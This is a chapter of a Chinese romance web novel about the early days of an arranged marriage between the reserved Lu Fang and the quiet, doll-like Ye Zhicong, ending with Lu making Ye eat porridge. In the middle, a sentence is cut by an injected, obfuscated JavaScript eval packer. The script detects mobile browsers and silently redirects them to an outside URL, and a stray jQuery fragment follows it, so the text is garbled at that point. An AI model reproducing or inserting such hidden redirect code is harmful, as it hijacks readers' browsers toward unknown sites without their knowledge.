陆放的手虚虚搭在叶知丛的后腰，在叶知丛点头之后。
他微微低头，垂着眉眼看着扬起下巴闭目迎接的人，隔着些许距离，留下了一张照片。
尽管他合情合理合法。
他依然没有触碰到他的额头，甚至屏下了呼吸，将温热的气息尽数敛起。
可叶知丛的鼻息却扫过他的下巴，像不经意间缠绕上来的，和他这个人一样，悄无声息地靠近着他的世界。
“新婚快乐，老公。”
叶知丛的东西不多，填不满一间空房间。工人很快便将他带来的东西规整完毕。
这栋房子内毫无变化，似乎有没有叶知丛，都没什么区别。
他只占用了一件不大的客房，在陆放的书房下面的位置，来作为他的画室。
衣物更是少的可怜，只一个登机箱，便全部装了回来。
不只是因为他是假期回国。
叶家里，也没有什么属于他的东西，是他想要带走的。
不过叶知丛仍然在笑，笑得依旧温柔乖巧。
虽然那张干净白皙的少年脸上，每次露出微笑的弧度几乎都是一样的，像固定好的模板似的，一板一眼认真走着既定程序。
可这个安静到几乎毫无存在感的人，到了晚上，却又趿着拖鞋出现在陆放的书房门口，问他：“要睡觉吗？”
陆放扫了人一眼。单薄的丝绸睡衣虚虚挂在人身上，领口处半遮半掩，露出一小片平直的锁骨。在漆黑如油墨黑色绸缎包裹下，使得少年堪堪露出的腕骨和脚踝更为白皙，苍白得仿佛带着些病气。
他的头发很黑，瞳仁也是乌黑色的，脸颊挂不上肉，使得下颌线带着一股利刺的味道没入下巴尖，唯一柔和的色彩便是那双拥有着挺翘唇珠的嘴巴。
青涩，稚嫩。是比这个年纪看起来还要更小一些的学生感。
陆放好脾气地弯了下唇角，说自己还有些工作没有忙完，示意人先去睡。
“好哦。”叶知丛乖巧点头，程序输入完毕，转身又哒哒哒地离开了。
等到指尖被蓝黑色的墨汁氤氲了一片。
陆放这才从人离去的背影中回神。纸巾擦拭不掉那些痕迹，便起身去清洗。
等再度折回房间时，他向漆黑的卧室看了一眼。屋内没有任何光亮，许是忙碌了一天，人已经早早睡下了。
陆放在门口站了一会儿，思维不自觉发散。他仿佛看到了那张原本平展的床铺上多出来了一块薄薄的凸起；看到少年侧着蜷起，在被子里撑起小小一片，白皙的后脖颈暴露在外，与深沉的黑色床单形成鲜明对比。
叶知丛睡着的时候，有些像没有安全感的小动物一样，会将自己蜷成一团。
可沉睡的人又会将后背朝向他，看起来一点防备心也没有。
他见到过的。
虽然他们依旧生疏得像陌生人。
陆放看了一会儿，抬手揉了下眉心，转身离开。
或许，应该将客房收拾出来的。
他还是有些不太习惯，他的床上，多出一个人。
-
翌日清晨，陆放从书房走出，正要下楼时，却在走廊处站定。
那张空了很久的餐桌前，比以往多了一位新鲜的、还冒着热气的少年。
他这里一成不变久了，从未有过新的人或物出现。
他看着那个明明睡眼惺忪、却顶着困意执着坐在那里等他用餐的叶知丛，初为人夫这四个字蓦地有了些许实感。
听到脚步声，叶知丛先小幅度地转动了一下脑袋，然后那慢半拍的温和笑意才在脸上浮现起来，礼貌地和人说：“早上好。”
顿了下，“老公。”
陆放垂在身侧的指尖蜷了下。
一纸婚约将没见过几次面的两个人绑定成最亲密的伴侣关系。他原以为不适应的人应该会是还没毕业的叶知丛。
可现如今却觉得，那个看起来没什么攻击性的安静的小人儿，似是比他适应得还要好一些。
“早安，”
陆放落座，语气很淡，“在家里，不用扮演相对恩爱。”
叶知丛顿了两秒，这又乖巧点头：“好哦，老公。”
陆放顿住，抬眸，看着叶知丛温柔的神色，这又淡淡开口：
“我的意思是，你想叫什么都可以，”
“不用总是刻意去喊……身份。”
叶知丛这次听明白了，陆放不让他叫老公。
“好哦。”
陆放等了片刻，并没有等到新的称呼。
好吧。
餐桌上安静异常，只剩玻璃杯磕在大理石桌面上发出轻响。
陆放进食到一半，发现坐在他对面的人半垂着眼，手里捏着的那块三明治半晌只咬下了一小口，很久再未动作。
“不合胃口吗。”
叶知丛闻言，短暂摇了一下头，左一下右一下。慢两秒抬头或许都捕捉不到这个信号。
“想吃什么，可以让阿姨去煮。”
“没有的，”叶知丛礼貌补充：“我没有想吃的。”
陆放抬眸看了人一眼。叶知丛不太明白他在看什么，只依旧乖巧的坐在那里。
没有人再说话，餐桌上继续安静。
叶知丛不言不语也不吃不喝的坐在那里，乍一看活像个白瓷摆件儿，一动也不动的等比手办，做工极其精致的那种。
陆放用完餐，没忍住又看了人一眼。
这下叶知丛却动了。
他看到陆放起身也跟着起身，很认真地开口让人等一下，放下他手中只咬了一口的三明治哒哒哒地去岛台洗手，这又哒哒哒地走过来，“你要出门工作了吗？”
陆放眉梢不自觉一挑，“怎么了？”
“要打领带的，”叶知丛神色认真地像是上课被叫起立回答问题的好学生，简短蹦出一个答案后，又补充着被省略掉的主谓宾语，“我要来给你打领带的。”
陆放垂眸看着眼前抬着脸看他的人，那神色平静温柔，半晌没看出来到底是个什么用意。
“不用了。”
叶知丛点头。
陆放又仔细观察了一下。发现他的脸上没有丝毫不悦或者失望的情绪，连稍稍弯起来的眉眼的弧度都没有任何变动的。
如果不是能发出声音的话，更像一个精致的白瓷娃娃了。
白瓷娃娃出声了，“那明天呢？”
“也不用，”陆放看着那双黑白分明的澄澈眼珠，被人认真地模样盯着，说话都顿了一下。
不过还是继续开口：“我不习惯有别人来做这些。”
叶知丛点头只一下的，比摇头还要短暂。
他目送陆放出门，随后在他的人生规划记事簿里，翻到了标记着合格人夫备忘录那一页，划掉了那条记录着[给老公打领带]的字样。
“以后都不用。”
第二日，叶知丛又划掉了一条[陪伴老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560073|171374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公吃早饭]。
第三日……
第三日叶知丛剩下一条[目送老公出门]，认认真真地履行着。
陆放被人视线盯了一早上，叶知丛就安静得坐在餐桌边，活像个漂亮摆件儿。
陆放出门前，不自觉朝那个方向看了一眼。
叶知丛对上他的目光，脸上又缓缓地浮现出他温和的、模式化的笑容。
陆放的喉结动了动。
家里有人等。
晚上早些回来。
晚上。
陆放忙完手中的工作，手表的时针已经走向八点一刻。窗外的天色黑透了，这座城市绚烂的霓虹亮起，和着一个个明亮的窗口，依旧在繁忙地运转着。
他起身，抬手系好西装外套的扣子，想到早上坐在餐桌前无声陪伴他的人，心口一动，有些好奇他不在家的时候，叶知丛都会做些什么。
可等他到家后。
陆放看到叶知丛手里捧着的碗，绿油油的菜叶菜茎，红彤彤的植物根茎——知道的是果蔬沙拉，不知道的还以为家里又养了只兔子。
“晚上就吃这些？”
叶知丛唇边咬着水果胡萝卜的尖儿，闻言点了一下头。
“……”
怪不得这么瘦。陆放扫到人身上挂着的空空荡荡的睡衣，单薄得跟纸片儿似的。
李阿姨踌躇上前，满脸担忧地小声找他汇报：“叶先生今天一天，只吃了几口这个。”
陆放脚步一顿。
“昨天也是。”
陆放转身回头。
“前天……只多吃了一口三明治。”
陆放眉心蹙紧。
“只吃了这些？”
李阿姨愁眉苦脸：“是啊，这可怎么办。”
陆放折回餐桌前，在叶知丛身边站定。
听到动静，叶知丛捧着碗仰头，一时不知道陆放要做什么。
陆放垂眼看他，“为什么不吃饭？”
？叶知丛不解：“我没有不吃饭啊。”
“那你这是什么，”陆放语气冷淡，“在我这里啃草吗？”
“这些不是草的。”
叶知丛认真纠正，“这个是秋葵、这个是苦菊、这个是……”
陆放看人的视线，仿佛就在看一颗苦菊。
他看着那张乖巧又柔和的脸，顿了片刻，冷淡开口：“有些话，我只问一遍。”
叶知丛抬头瞧着他，手里捧着的沙拉碗衬得他的下巴更尖了，小巧的脸似是还没巴掌大，一双黑白分明的眼湿漉漉的，澄澈又纯净。
陆放喉结轻动，“你对我们的关系，是否自愿。”
“自愿的。”
“你同意我行使作为丈夫的权利。”
“同意的。”
“在你回国之前，你真的没有见过我。”
“没有吧。”
呵。
“……好。”
陆放眼睛轻眯起了些，他在人身侧坐下，伸手把人手中的碗拿了下去，将李阿姨温好的粥端过来，摆在了叶知丛面前。
“作为你的丈夫，我有权利和义务，插手你的生活，干预你不良的饮食习惯。”
叶知丛茫然点头，还没意识到陆放是要做什么。
随即便听到陆放更为冷淡的声线，带着些不容置喙又游刃有余的掌控感，语速不疾不徐地命令他：
“现在，把粥喝了。”
“我看着你喝。”